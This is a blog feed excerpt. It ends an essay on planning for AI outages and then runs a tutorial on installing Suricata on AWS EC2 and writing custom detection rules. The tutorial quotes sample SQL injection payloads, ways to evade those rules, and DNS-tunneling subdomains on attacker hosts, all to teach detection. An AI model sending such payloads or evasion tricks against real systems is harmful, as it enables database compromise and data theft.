Even if a candidate passes — even if they perfectly understand the codebase and can articulate exactly what remains — they still face a physics problem. Modern projects are scoped assuming AI-assisted velocity. An engineer producing 50-100 lines of considered code per hour cannot close the gap left by an AI that was generating 10x that. Understanding the remaining 10% does not mean finishing it on time.

This is a real limitation. And it points to something the industry has not formally addressed: project planning in the AI era has a hidden assumption baked into every timeline — that the AI will be available for the full duration.

There are three architectural responses to this problem.

Option 1 — Scope conservatively from the start. Plan every project at human velocity. Treat AI as pure acceleration that moves you ahead of schedule, never as the baseline the schedule depends on. If the AI goes down, you're early. If it stays up, you're very early. This is architecturally correct but almost nobody does it — because it makes estimates look padded, and management eventually recalibrates expectations upward until the buffer disappears. You've solved nothing structurally, just temporarily.

Option 2 — Build multi-model redundancy into the workflow. If one AI goes down, a fallback model — Gemini, GPT-5, a local Llama variant — picks up immediately. The throughput gap shrinks dramatically when the fallback is another AI rather than a human alone. This is achievable today and is the most practical answer for teams that cannot afford conservative scoping. However, Option 2 carries a vulnerability that is easy to miss: it is subject to Brook's Law. Fred Brooks observed in The Mythical Man-Month (1975) that adding manpower to a late software project makes it later — because new participants require onboarding time, ramp-up, and context transfer that consumes more capacity than they contribute in the short term. An unplanned fallback AI faces the exact same problem. It has no context. It has not seen the conversation history, the architectural decisions, the intermediate reasoning, or the implicit constraints the primary AI accumulated across the session. Re-establishing that context takes time — time the team does not have mid-crisis. The fallback AI is not a drop-in replacement. It is a new team member arriving at the worst possible moment, and Brook's Law applies regardless of whether that new member is human or machine.

Option 3 — Modular milestones at AI-independent checkpoints. Structure every project so that each meaningful increment is independently completable and shippable at human velocity. The AI makes each increment faster, but no increment requires the AI to exist. If the AI disappears, you ship what is done. The remaining work moves to the next release.

Option 3 is the right answer — and the reasoning is worth unpacking.

Why Option 3 Distributes Risk Instead of Concentrating It

Options 1 and 2 both carry hidden failure modes. Option 1 trades throughput risk for scope credibility risk. Option 2 trades single-vendor dependency for multi-vendor coordination complexity. Option 3 does something different: it changes the shape of the risk entirely.

When a project is built as one long AI-assisted arc toward a single deadline, all risk concentrates at the end. An outage at 90% completion is maximally catastrophic — you are closest to done and furthest from any shippable state. The team has nothing to show and everything to explain.

When a project is built as a sequence of independently shippable modules, risk is distributed across the timeline. An outage at any point means you have something real to demonstrate. The question shifts from "will we finish?" to "how much will we finish?" — which is a fundamentally less terrifying question to answer to a stakeholder.

That psychological shift matters more than people acknowledge. A team that can say "five of seven modules are complete and working" at deadline is in a completely different conversation than a team with a 90%-complete monolith that does not run yet. The first team has leverage. The second team has an apology.

Why Option 3 Is Just Good Engineering — With Higher Stakes

This is not a new idea. Modular, incremental delivery is what good engineers have always done: ship working increments, commit frequently, never let the uncommitted work exceed what you could reconstruct from memory if the power went out.

What AI changes is that the cost of ignoring this discipline is now much higher.

When humans wrote everything, a monolithic three-hour session was recoverable. The engineer who wrote it held the full mental model. When an AI writes 800 lines across a three-hour session that the human was loosely supervising, no human holds that model in full. An outage does not just cut throughput. It reveals that the understanding was shallower than anyone admitted.

Option 3 forces understanding to be built incrementally as a side effect of shipping incrementally. Each module that gets committed and reviewed is a module that at least one human genuinely understands. The AI outage hits a team in that state differently — not "we are stranded" but "we are paused on the next module, everything before it is solid."

How This Refines the LLM Dependency Test

This analysis sharpens what the LLM Dependency Test is actually measuring — and suggests a natural extension.

The test should evaluate not just whether the candidate can continue after the cutoff, but how much of their work is in a shippable state at the moment the AI goes down.

A candidate who has been committing working modules incrementally throughout the AI-assisted phase walks into the cutoff with a safety net. Something real exists. The remaining work is bounded and visible.

A candidate who has been building toward a big-bang completion has nothing shippable and faces the throughput problem and the understanding problem simultaneously.

The behavior before the cutoff is as revealing as the behavior after it. A candidate who naturally structures work into independently deployable increments — without being asked, without knowing the cutoff is coming — has architecture instincts that survive an outage. A candidate who builds monolithically toward a single finish line does not.

That is the engineer worth hiring. Not because they are immune to the outage. But because when it happens, they have already protected the project.

The Most Secure Option

Let humans design and write code. Let AI critique.

Updated March 22, 2026 — with discussion of the throughput problem and the case for modular milestone architecture.

Discussion prompts:

Have you experienced an AI outage mid-project? What happened?
Would you pass the LLM Dependency Test today?
Should this become a standard part of engineering interviews?
Does your team plan projects assuming AI availability? What would Option 3 look like in your workflow?

Use Suricata as An Intrusion Detection System on AWS

fosres — Sat, 21 Mar 2026 20:03:22 +0000

This is Part 3 of a series. I highly recommend reading the first two posts in order before starting this one:

1️⃣ Secure AWS Lab Setup for Security Engineers: IAM Identity Center + SSM + Zero Open Ports
Learn how to set up AWS IAM Identity Center, SSM Session Manager, and a zero-open-ports EC2 instance. This post assumes you have completed this setup.

2️⃣ Fish Shell Functions for Managing AWS EC2 Instances — Save Time and Billing
Learn how to use fish shell functions (lab-create, lab-connect, lab-snapshot, lab-restore, etc.) to manage your EC2 lab efficiently. The commands in this post assume you have these functions installed.

⚠️ Your instance IP changes every session. Every time you run lab-restore or lab-create a new EC2 instance is launched with a different private IP address. Before running any commands in this post that reference an IP address (curl tests, nmap, suricata.yaml HOME_NET), always check your current IP first:
ip addr show enX0 | grep "inet "
Replace 172.31.23.15 throughout this post with whatever IP your instance currently has.

All the fish shell functions used in this series for managing EC2 instances — lab-create, lab-connect, lab-status, lab-start, lab-stop, lab-terminate, lab-login, lab-snapshot, lab-snapshot-list, lab-snapshot-delete, and lab-restore — are available to download from GitHub:

👉 github.com/fosres/SecEng-Exercises/tree/main/aws/functions

Download them, place each file in ~/.config/fish/functions/, and they are immediately available in your terminal — no source command needed.

If you find this useful, I'd really appreciate a ⭐ on my open source secure coding exercise repo — it helps a lot:

👉 github.com/fosres/SecEng-Exercises

Also — why do you read security engineering blog posts? One click helps me write better content:

👉 Take the poll (takes 10 seconds)

What This Post Covers

This is an introduction to Suricata IDS for Security Engineers working in web application and cloud security. It covers what a mid-level Security Engineering interview expects you to know about network intrusion detection — no more, no less.

What you will learn:

Installing and configuring Suricata on a Debian EC2 instance
Writing 5 custom detection rules from scratch covering SQL injection, port scanning, C2 beaconing, and DNS tunneling
Iterative rule tuning — every rule in this post went through multiple revisions, and the revision history is documented honestly
Identifying and resolving false positives using pass rules — specifically the AWS IMDS and SSM Agent traffic that looks identical to C2 beaconing
Capturing and analyzing traffic with tcpdump to correlate PCAP evidence with Suricata alerts
Connecting local Suricata rules directly to AWS Network Firewall — the same rule syntax runs in both environments
5 practice exercises covering rule interpretation, threshold tuning, rule management, keyword identification, and community rulesets

What this post deliberately omits:

TLS inspection — Suricata can inspect encrypted HTTPS traffic if configured with TLS decryption, but that requires certificate management and is a topic on its own
Inline IPS mode — this post runs Suricata in IDS mode (alert only). Switching to IPS mode (drop packets) requires routing traffic through Suricata rather than just mirroring it — a different architecture
SIEM integration — shipping Suricata eve.json alerts to ELK or Splunk for correlation and dashboarding is covered separately in the Week 8 ELK post
Zeek for network metadata — Zeek complements Suricata by generating rich connection metadata rather than signature-based alerts. The two tools are used together in production but are separate topics
Performance tuning — multi-threading, AF_PACKET tuning, and rule optimization for high-throughput environments are senior-level topics that belong in a dedicated post
Full AWS Network Firewall deployment — creating the rule group is covered here, but attaching it to a firewall policy, deploying a firewall endpoint, and updating VPC route tables requires a properly architected VPC covered in Week 50

This post is Part 3 of a series. The natural continuation points are Week 50 (deploying Network Firewall in a production VPC architecture) and Week 87 (production-grade network monitoring with Suricata + Zeek + Security Onion).

Part 1: Connect to the Lab Instance

From your local machine:

lab-login      # tap YubiKey if SSO token has expired
lab-status     # confirm: running
lab-connect    # shell as ssm-user

Once inside the instance:

sudo -i

Part 2: Saving Your Progress — Snapshots

Before going any further, make sure you have the snapshot fish functions set up on your local machine. Setting up Suricata takes time and you will likely spread the work across multiple sessions. The snapshot functions let you save your instance state, terminate it to pay nothing overnight, and restore exactly where you left off next session.

Full implementations and explanations are in the dedicated post:

👉 Week 9: Fish Shell Functions for Managing AWS EC2 Instances -- Save Time and Billing

The four snapshot commands you will use throughout this post:

lab-snapshot-list      # see all your saved snapshots
lab-snapshot           # save current instance state — prompts for instance ID and name
lab-restore            # launch a new instance from a saved snapshot
lab-snapshot-delete    # delete old snapshots to stop storage charges

⏳ lab-snapshot takes 3-5 minutes to complete. AWS copies the entire EBS volume to S3 in the background. Do not interrupt it. A heavily loaded instance may take up to 10-15 minutes.

You do not need to remember the AMI ID. When you run lab-restore it prints a table of all your saved snapshots by name:

Your saved AMIs:
+------------------------+---------------------------+----------------------+
| ami-0xxxxxxxxxxxxxxxxx | suricata_setup-2026-03-15 | 2026-03-15T12:00:00Z |
+------------------------+---------------------------+----------------------+

Complete Zero-Cost Session Workflow

lab-login           # tap YubiKey → 8hr credentials
lab-restore         # launch from snapshot → wait → "Ready"
lab-connect         # shell as ssm-user, Suricata already installed
lab-snapshot        # save progress before ending session
lab-terminate       # zero ongoing cost

Part 3: Install Suricata on Debian 13

apt-get update -y && apt-get upgrade -y

apt-get install suricata suricata-update -y

Verify the installation:

suricata --build-info
systemctl status suricata
ip addr

Note the interface name from ip addr — Debian on EC2 typically uses ens5 or eth0. You will need it when configuring suricata.yaml.

Update the default ruleset:

suricata-update

systemctl start suricata
systemctl enable suricata
systemctl status suricata

Part 4: Configure suricata.yaml

Two values need to be set correctly before Suricata can capture traffic: the network interface and the HOME_NET variable. Both come from the ip addr output.

Identifying the Correct Interface

Run ip addr and look for the interface that has:

<BROADCAST,MULTICAST,UP,LOWER_UP> — confirms it is up and capable of capturing traffic
state UP — confirms it is active
An inet address in the 172.x.x.x or 10.x.x.x range — confirms it is the EC2 network interface, not loopback

For example on my Debian 13 EC2 instance my correct interface looks like:

2: enX0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 0a:ff:cd:e5:67:a9 brd ff:ff:ff:ff:ff:ff
    inet 172.31.25.81/20 metric 100 brd 172.31.31.255 scope global dynamic enX0

Ignore lo — that is the loopback interface (127.0.0.1) and has no external traffic.

The interface name on Debian 13 EC2 instances is enX0 rather than the more common eth0 or ens5 you may see in other tutorials. Always confirm with ip addr before editing suricata.yaml — using the wrong interface name means Suricata starts successfully but captures nothing.

From ip addr on this instance:

Interface: enX0
Subnet: 172.31.16.0/20 (the /20 subnet containing 172.31.25.81)

Note: Your interface name and subnet will be the same if you are following along on the same EC2 instance type and region. If they differ, substitute your own values in the steps below.

Set HOME_NET

Open suricata.yaml:

nano /etc/suricata/suricata.yaml

Find the HOME_NET line (near the top, under vars:) and update it to match your subnet:

vars:
  address-groups:
    HOME_NET: "[172.31.16.0/20]"

The default value is [192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] which technically includes the EC2 subnet — but setting it explicitly to your actual subnet makes your custom rules more precise and reduces false positives.

From the ip addr output, the relevant line is:

inet 172.31.25.81/20 ... scope global dynamic enX0

172.31.25.81 is the host address — the IP of this specific instance. The /20 is the subnet mask. The actual subnet to use in HOME_NET is 172.31.16.0/20, not 172.31.25.81/20. A /20 mask starting at 172.31.16.0 covers the range 172.31.16.0 → 172.31.31.255, and 172.31.25.81 falls within that range — which is how you know 172.31.16.0/20 is the correct value.

If you are unsure of your subnet's network address, run:

ip route | grep enX0

The line starting with 172.31.x.x/20 (without a src qualifier) is your subnet.

Set the Capture Interface

In the same file, find the af-packet section and set the interface to enX0:

af-packet:
  - interface: enX0
  - interface: lo

Search for it quickly with Ctrl+W then type af-packet in nano.

Why add lo? When testing Suricata from the same instance (e.g. running curl against the instance's own IP), Linux routes the traffic internally through the loopback interface lo rather than through enX0 — even if you use the real IP address 172.31.23.15. This is called local routing and means Suricata sees none of that traffic if it only monitors enX0. Adding lo to the af-packet list lets Suricata inspect self-generated test traffic without needing to open any inbound ports or send traffic from an external machine.

Enable the Custom Rules File

Still in suricata.yaml, find the rule-files: section and add the custom rules file:

rule-files:
  - suricata.rules
  - /etc/suricata/rules/custom.rules

Save and exit: Ctrl+X → Y → Enter

Create the Custom Rules File

mkdir -p /etc/suricata/rules
touch /etc/suricata/rules/custom.rules

Validate and Restart

Before running the config test, update the default ruleset to ensure suricata.rules exists at the expected path:

suricata-update

Then run the config test:

suricata -T -c /etc/suricata/suricata.yaml -v

-T runs a config test without starting capture. Look for:

Notice: suricata: Configuration provided was successfully loaded. Exiting.

If the test passes, restart the service:

systemctl restart suricata
systemctl status suricata

Confirm Suricata is capturing on enX0:

tail -f /var/log/suricata/suricata.log | grep enX0

You should see a line like:

Info: iface-conf: Configuring af-packet for enX0

Part 5: Write 5 Custom Detection Rules

Rules file: /etc/suricata/rules/custom.rules

Before writing the rules it is worth understanding what Suricata can and cannot detect at the network level — especially for SQL injection.

How Suricata Detects Attacks

Suricata is a signature-based IDS. It inspects network packets looking for known patterns — strings, regular expressions, protocol anomalies. When a packet matches a rule it generates an alert in fast.log and a detailed JSON event in eve.json.

This makes it very good at catching known, unsophisticated attacks — automated scanners, script kiddies running off-the-shelf tools, and anyone sending payloads in plain text over HTTP. It is less effective against a skilled attacker doing manual exploitation, for reasons covered below.

SQL Injection Rules — How Effective Are They?

Rule 1 — UNION SELECT catches classic UNION-based payloads like:

' UNION SELECT username, password FROM users--

It uses content matching with nocase so case variation is handled. It fails against:

URL encoding: %55%4E%49%4F%4E instead of UNION
Comment injection: UN/**/ION SE/**/LECT
HTTPS traffic — Suricata cannot inspect encrypted payloads without TLS inspection configured

Rule 2 — Comment Bypass uses PCRE (Perl Compatible Regular Expressions) to catch ' OR 1=1 style payloads and their URL-encoded variants (%27, %3D). PCRE is a powerful pattern matching syntax that goes beyond simple string matching — instead of looking for a fixed string like UNION SELECT, a PCRE pattern can match variable structures. In this case the pattern matches a single quote (or its URL-encoded form %27) followed by OR/AND followed by an equals sign, in any combination of whitespace and case.

Does Suricata use Perl? No — PCRE is just a C library that implements the regex syntax Perl popularized in the 1980s-90s. The name is historical. Suricata is written in C and links against the PCRE library directly — Perl itself is nowhere in the picture. The same library is used by Apache, nginx, PHP, and grep, which is why PCRE has become the de facto standard for regex across the industry.

It misses attacks destined for this server:

Time-based blind SQLi: '; WAITFOR DELAY '0:0:5'--
Boolean-based blind SQLi that does not use OR/AND
Second-order SQLi where the payload is stored and executed later
Out-of-band SQLi using DNS or HTTP exfiltration channels

The honest reality: Suricata's SQLi rules are a last line of defense, not a primary control. They are useful for catching automated scanners and known payloads in plaintext traffic. A skilled attacker doing manual exploitation will evade them.

The real defenses against SQL injection are at the application layer — parameterized queries, ORMs, and input validation. Suricata gives you visibility and alerting, not prevention. That distinction matters and is worth knowing for Security Engineering interviews.

The 5 Rules

Rule 1: SQL Injection — UNION SELECT

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)

How it works:

alert — the action to take when the rule matches. alert generates a log entry in fast.log and eve.json but does not block the traffic. Other actions include drop (block the packet) and pass (allow and stop processing further rules).
tcp — the protocol to inspect. Using tcp instead of http means Suricata inspects the raw TCP stream directly — no protocol normalization needed. This ensures the rule fires on the raw packet bytes regardless of HTTP layer parsing.
any any (source) — match traffic coming from any IP address on any port.
-> — traffic direction. This arrow means the rule only inspects traffic flowing from source to destination, not the reverse.
$HOME_NET 80 (destination) — match traffic destined for port 80 (HTTP) on any host within $HOME_NET. Restricting to port 80 keeps the rule focused on web traffic specifically.
msg:"SQL Injection UNION SELECT Attempt" — the human-readable label that appears in the alert log so you know what triggered.
content:"UNION" — simple substring search for the exact string UNION anywhere in the TCP payload.
nocase — makes the preceding content match case-insensitive so union, UNION, and Union all trigger it.
content:"SELECT" — look for the string SELECT in the packet payload after UNION has already matched.
sid:9000001 — the unique rule ID (Signature ID). The 9000000 range is reserved for local/custom rules so it does not conflict with official Emerging Threats or Snort rulesets.
rev:4 — the revision number of this rule. This reached revision 4 through iterative tuning during lab setup — a realistic example of how rules evolve in practice.

Example payload it catches:

' UNION SELECT username, password FROM users--

Fails against:

URL encoding: %55%4E%49%4F%4E instead of UNION — Suricata sees encoded bytes, not the decoded string
Comment injection: UN/**/ION SE/**/LECT — the SQL comment breaks up the string so neither UNION nor SELECT appears as a complete match
HTTPS traffic — Suricata cannot inspect encrypted payloads without TLS inspection configured, so any SQLi over HTTPS is completely invisible to this rule

Rule 2: SQL Injection — Comment Bypass

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Comment Bypass Attempt"; content:"OR"; nocase; content:"="; nocase; sid:9000002; rev:6;)

How it works:

alert — generate an alert without blocking.
tcp — inspect raw TCP stream directly. The http protocol keyword caused matching issues with URL-encoded payloads on this setup — switching to tcp resolved it.
any any (source) — match traffic from any IP on any port.
-> — traffic direction toward the server.
$HOME_NET 80 — match traffic destined for port 80 on hosts in your subnet.
msg:"SQL Injection Comment Bypass Attempt" — the alert label.
content:"OR" — match the literal string OR anywhere in the TCP payload.
nocase — case-insensitive so or, OR, and Or all trigger.
content:"=" — also require an equals sign somewhere in the payload. Requiring both OR and = reduces false positives compared to matching OR alone.
sid:9000002 — unique rule ID in the local custom range.
rev:6 — this rule went through 6 revisions during lab setup, starting as a PCRE pattern and ending as a reliable dual content match — a realistic example of iterative rule tuning.

Example payloads it catches:

' OR 1=1--
%27 OR 1%3D1--
' AND 1=1--

Fails against:

Time-based blind SQLi: '; WAITFOR DELAY '0:0:5'-- — no OR/AND equals pattern to match
Boolean-based blind SQLi that does not use OR/AND
Second-order SQLi — payload is stored in the database and executed later, never appearing in a direct HTTP request
Out-of-band SQLi using DNS or HTTP exfiltration channels

A Note on PCRE in Suricata Rules

Rule 2 originally used a PCRE pattern instead of simple content matching. PCRE (Perl Compatible Regular Expressions) is a more powerful matching approach that can detect variable structures rather than fixed strings.

The Suricata keyword is pcre and the syntax is:

pcre:"/pattern/flags";

The original Rule 2 PCRE pattern was:

alert http any any -> $HOME_NET any (msg:"SQL Injection Comment Bypass Attempt"; pcre:"/(\%27|\')\s*(or|and)\s*[\w\s]*(\%3D|=)/i"; sid:9000002; rev:1;)

Breaking down the pattern /(\%27|\')\s*(or|and)\s*[\w\s]*(\%3D|=)/i:

Pattern piece	What it matches
`(\%27	\')`
`\s*`	Zero or more whitespace characters
`(or\	and)`
`\s*`	Zero or more whitespace characters
`[\w\s]*`	Any word characters or spaces (e.g. `1`)
`(\%3D\	=)`
`/i` flag	Makes the entire pattern case-insensitive

Why PCRE was abandoned in this lab: The pattern failed to fire on URL-encoded payloads sent via curl. The + character used by --data-urlencode to represent spaces broke the \s* whitespace match since + is not a whitespace character. Rather than debug the PCRE pattern further, Rule 2 was simplified to dual content matching which is more reliable on raw TCP traffic.

When to use PCRE over content matching:

When the payload has variable structure — different whitespace, optional characters, or alternating patterns
When you need to match URL-encoded and literal versions of the same character in one rule
When distance:0 is too strict — PCRE lets you express "these two strings with anything between them" more precisely

The tradeoff: PCRE is significantly more expensive to evaluate than content matching — Suricata has to run a regex engine against every matching packet. In high-traffic production environments this matters. Always benchmark PCRE rules under load before deploying them.

Rule 3: Port Scan — SYN Threshold

alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)

How it works:

alert — generate an alert without blocking.
tcp — inspect TCP traffic only. Port scans use TCP SYN packets to probe open ports.
any any (source) — match traffic from any IP on any port.
-> — traffic flowing from source toward the destination.
$HOME_NET any (destination) — any port on any host in your subnet. Port scanners probe many ports so leaving the destination port as any is correct.
msg:"Possible Port Scan Detected" — the alert label.
flags:S — only match packets with the SYN flag set and no other flags. A TCP SYN packet is the first step of a connection attempt. A port scanner sends many SYN packets to different ports to discover which ones are open — this is called a SYN scan or half-open scan.
threshold:type threshold,track by_src,count 5,seconds 10 — only alert once the same source IP has sent 5 or more SYN packets within a 10-second window. The original threshold was 20 but was lowered to 5 to ensure reliable detection on a single-core t2.micro where Suricata may not track all packets if nmap fires too fast. In a production environment with higher traffic volumes you would raise this to reduce false positives from legitimate services doing rapid connection attempts.

The threshold keyword has four components worth understanding individually:

Component	Value in this rule	What it means
`type`	`threshold`	Alert once every time the count is reached. Other types: `limit` (alert only N times per window), `both` (alert once then suppress until window resets)
`track`	`by_src`	Count packets per source IP separately. `by_dst` would count per destination IP instead. `by_rule` counts globally across all IPs
`count`	`5`	How many matching packets must be seen before the rule fires
`seconds`	`10`	The time window in which `count` packets must be observed

type threshold vs type both: Rule 3 uses type threshold which fires every time the count is reached — so if nmap sends 50 SYN packets, you get approximately 10 alerts (one per 5 packets). Rule 4 uses type both which fires once then suppresses further alerts until the window resets — better for reducing alert fatigue on beaconing detection.

sid:9000003 — unique rule ID in the local custom range.
rev:1 — rule revision 1.

Example scenario it catches:
A scanner like nmap sending SYN packets to ports 1 through 1000 in rapid succession from a single IP.

Fails against:

Slow scans — spreading 20 SYN packets over more than 10 seconds evades the threshold
Distributed scans — multiple source IPs each sending fewer than 20 SYN packets

Rule 4: C2 Beaconing — HTTP Threshold

alert http $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:1;)

What is C2 Beaconing?

C2 stands for Command and Control. When an attacker successfully compromises a machine — through malware, a phishing link, or an exploit — they need a way to communicate with it remotely to issue commands, receive stolen data, and maintain access. The attacker runs a C2 server on the internet and the malware on the compromised machine calls home to it at regular intervals. This regular check-in is called beaconing.

The malware typically uses HTTP or HTTPS to blend in with normal web traffic — from a firewall's perspective it looks like ordinary browser traffic. The beacon might say "I am here, any new commands?" and the C2 server responds with instructions: run this command, exfiltrate this file, move to this other machine.

The telltale sign of beaconing is regularity — a compromised host making outbound HTTP requests on a precise, repeating schedule (every 30 seconds, every 5 minutes, etc.) to the same destination. Humans browse the web irregularly; malware beacons like a clock.

How it works:

alert — generate an alert without blocking.
http — inspect HTTP traffic only. Most C2 frameworks use HTTP or HTTPS to blend in with normal web traffic.
$HOME_NET any (source) — traffic originating from inside your subnet. C2 beaconing is outbound — a compromised host inside your network calling out to an attacker's server.
-> — traffic flowing outward from your network.
any any (destination) — any external IP on any port.
msg:"Possible C2 Beaconing Detected" — the alert label.
flow:to_server,established — only inspect outbound HTTP requests on established connections, not raw SYN packets.
threshold:type both,track by_src,count 10,seconds 60 — alert when the same source IP makes 10 or more HTTP requests within 60 seconds, and then suppress further alerts until the window resets. type both means the rule triggers once per threshold window rather than once per packet, reducing alert fatigue. C2 beaconing is characterized by regular, periodic outbound connections — this pattern is what the rule is designed to catch.
sid:9000004 — unique rule ID in the local custom range.
rev:1 — rule revision 1.

Example scenario it catches:
Malware beaconing to a C2 server every 5 seconds — 10 connections in under 60 seconds triggers the alert.

Fails against:

Slow beaconing — intervals longer than 6 seconds mean fewer than 10 connections per minute
HTTPS C2 — encrypted traffic is invisible without TLS inspection
Domain fronting — C2 traffic disguised as requests to a legitimate CDN like Cloudflare

Rule 5: DNS Tunneling — Large DNS Query

alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:1;)

How it works:

alert — generate an alert without blocking.
udp — inspect UDP traffic. DNS uses UDP port 53 by default for queries. Using udp instead of dns avoids mixing packet-level and application-layer keywords which Suricata 7 does not allow in the same rule.
any any (source) — match DNS queries from any host.
-> — traffic direction outward.
any 53 (destination) — port 53 is the standard DNS port. Restricting to port 53 keeps this rule focused on DNS traffic specifically.
msg:"Possible DNS Tunneling - Large Query" — the alert label.
dsize:>200 — match only when the UDP payload is larger than 200 bytes. Normal DNS queries are small — a typical hostname lookup is under 50 bytes. DNS tunneling tools encode data as long subdomains like dGhpcyBpcyBhIHRlc3Q=.evil.com which produces abnormally large query sizes.
sid:9000005 — unique rule ID in the local custom range.
rev:1 — rule revision 1.

Example scenario it catches:
A tool like iodine or dnscat2 encoding exfiltrated data as base64 subdomains — SGVsbG8gV29ybGQ=.attacker.com — producing DNS queries well over 200 bytes.

Fails against:

Small payload encoding — splitting data into multiple short queries each under 200 bytes
DNS over HTTPS (DoH) — DNS queries sent over HTTPS to resolvers like 8.8.8.8 are encrypted HTTP traffic, invisible to this rule
Low and slow exfiltration — a few bytes per query over a long period of time

Part 5b: Loading the Rules into Suricata

Now that all 5 rules are written, here is how to load them and verify Suricata is enforcing them.

Step 1 — Paste the Rules into custom.rules

nano /etc/suricata/rules/custom.rules

Paste all rules — the two pass rules first, then the five alert rules:

pass http $HOME_NET any -> 169.254.169.254 any (msg:"IMDS traffic - whitelist"; sid:9000010; rev:1;)
pass tcp $HOME_NET any -> any 443 (msg:"AWS HTTPS services whitelist"; sid:9000011; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"SQL Injection UNION SELECT Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; sid:9000001; rev:4;)
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Comment Bypass Attempt"; content:"OR"; nocase; content:"="; nocase; sid:9000002; rev:6;)
alert tcp any any -> $HOME_NET any (msg:"Possible Port Scan Detected"; flags:S; threshold:type threshold,track by_src,count 5,seconds 10; sid:9000003; rev:3;)
alert tcp $HOME_NET any -> any any (msg:"Possible C2 Beaconing Detected"; flow:to_server,established; threshold:type both,track by_src,count 10,seconds 60; sid:9000004; rev:2;)
alert udp any any -> any 53 (msg:"Possible DNS Tunneling - Large Query"; dsize:>200; sid:9000005; rev:2;)

Save and exit: Ctrl+X → Y → Enter

Step 1b — Remove suricata.rules from rule-files

By default suricata.yaml loads the full Emerging Threats community ruleset (suricata.rules) which contains ~40,000 rules. On a single-core t2.micro this causes two problems:

suricata -T config tests take 4-6 minutes to complete
fast.log is flooded with community ruleset alerts, drowning out your 5 custom rules

For this lab remove suricata.rules so only your custom rules are loaded. Open suricata.yaml:

sudo nano /etc/suricata/suricata.yaml

Find the rule-files: section — it looks like this by default:

rule-files:
  - suricata.rules

Change it to:

rule-files:
  - /etc/suricata/rules/custom.rules

Save and exit: Ctrl+X → Y → Enter

Note: This is a lab-only decision. In a production environment you would keep suricata.rules for broad threat coverage and add custom.rules alongside it. Exercise 5 at the end of this post walks you through adding the ET ruleset back deliberately once you understand how your custom rules behave in isolation.

Step 2 — Validate the Config

Always run the config test before restarting — a syntax error in custom.rules will prevent Suricata from starting.

⚠️ All Suricata commands must be run as root. If your prompt shows ssm-user@ you have dropped out of the root shell. Run sudo -i to get back in before continuing.

sudo -i
suricata -T -c /etc/suricata/suricata.yaml -v

Look for:

Notice: suricata: Configuration provided was successfully loaded. Exiting.

If instead you see:

Error: suricata: The logging directory "/var/log/suricata/" is not writable. Shutting down the engine

This means you are not running as root. Run sudo -i and try again.

If you see an error referencing a sid number, that rule has a syntax problem — check it carefully for missing semicolons or mismatched quotes.

Step 3 — Reload Suricata

systemctl restart suricata
systemctl status suricata

Confirm it is active and running — not in a failed state.

Step 4 — Confirm Rules Are Loaded

After restarting, verify Suricata loaded only your 6 custom rules (5 alert rules + 1 pass rule):

sudo grep "rules loaded\|signatures processed" /var/log/suricata/suricata.log | tail -3

Expected output:

Info: detect: 6 signatures processed. 0 are IP-only rules, 2 are inspecting packet payload, 2 inspect application layer, 0 are decoder event only

6 signatures processed confirms only your custom rules are loaded. If you see a much larger number restart Suricata and check again:

sudo systemctl restart suricata
sudo grep "signatures processed" /var/log/suricata/suricata.log | tail -1

Note on eve.json stats: The eve.json file contains periodic stats entries that may show large rules_loaded numbers from previous Suricata sessions. Always use suricata.log to confirm the current session's rule count — it is more reliable than eve.json for this purpose.

Also verify suricata.yaml only loads your custom rules:

sudo grep -A5 "rule-files:" /etc/suricata/suricata.yaml

It should show only:

rule-files:
  - /etc/suricata/rules/custom.rules

Also check the last_reload timestamp in eve.json stats events — it must be more recent than your last systemctl restart to confirm the new config is active:

sudo tail -1 /var/log/suricata/eve.json | python3 -c "import sys,json; d=json.loads(sys.stdin.read()); print(d['stats']['detect']['engines'][0]['last_reload'])"

Step 5 — Watch the Alert Log in Real Time

Open a second terminal and tail fast.log — this is where Suricata writes one line per alert:

tail -f /var/log/suricata/fast.log

Leave this running while you trigger test traffic in Part 6. Every alert will appear here in real time as it fires.

For richer detail including the full packet metadata, tail eve.json instead:

tail -f /var/log/suricata/eve.json | python3 -m json.tool

eve.json is newline-delimited JSON — piping through python3 -m json.tool pretty-prints each event so it is readable.

Part 6: Test the Rules

Setup — Two Terminals

Testing requires watching alerts fire in real time while generating test traffic. Open two terminal sessions connected to the instance via lab-connect.

Terminal 1 — watch for alerts:

sudo tail -f /var/log/suricata/fast.log

Leave this running. Every alert Suricata generates will appear here immediately.

Tip — Clear the log before testing: If fast.log already has entries from previous sessions, clear it first so you only see alerts from your test traffic. Use truncate rather than rm — Suricata keeps the file handle open and deleting it would stop logging:
sudo truncate -s 0 /var/log/suricata/fast.log

Terminal 2 — generate test traffic (commands below).

Understanding fast.log Output

Each alert line in fast.log follows this format:

TIMESTAMP  [**] [GID:SID:REV] MESSAGE [**] [Classification] [Priority] {PROTO} SRC_IP:PORT -> DST_IP:PORT

For example:

03/18/2026-18:22:58.822948  [**] [1:9000004:1] Possible C2 Beaconing Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:43900 -> 169.254.169.254:80

Breaking this down:

03/18/2026-18:22:58 — timestamp
[1:9000004:1] — GID 1, SID 9000004 (your Rule 4), revision 1
Possible C2 Beaconing Detected — the msg field from the rule
{TCP} — protocol
172.31.23.15:43900 -> 169.254.169.254:80 — source IP:port → destination IP:port

Rule 4 Already Firing — A Real False Positive

Before even running any test traffic, Rule 4 fires immediately after Suricata starts:

03/18/2026-18:22:58.822948  [**] [1:9000004:1] Possible C2 Beaconing Detected [**] [Classification: (null)] [Priority: 3] {TCP} 172.31.23.15:43900 -> 169.254.169.254:80
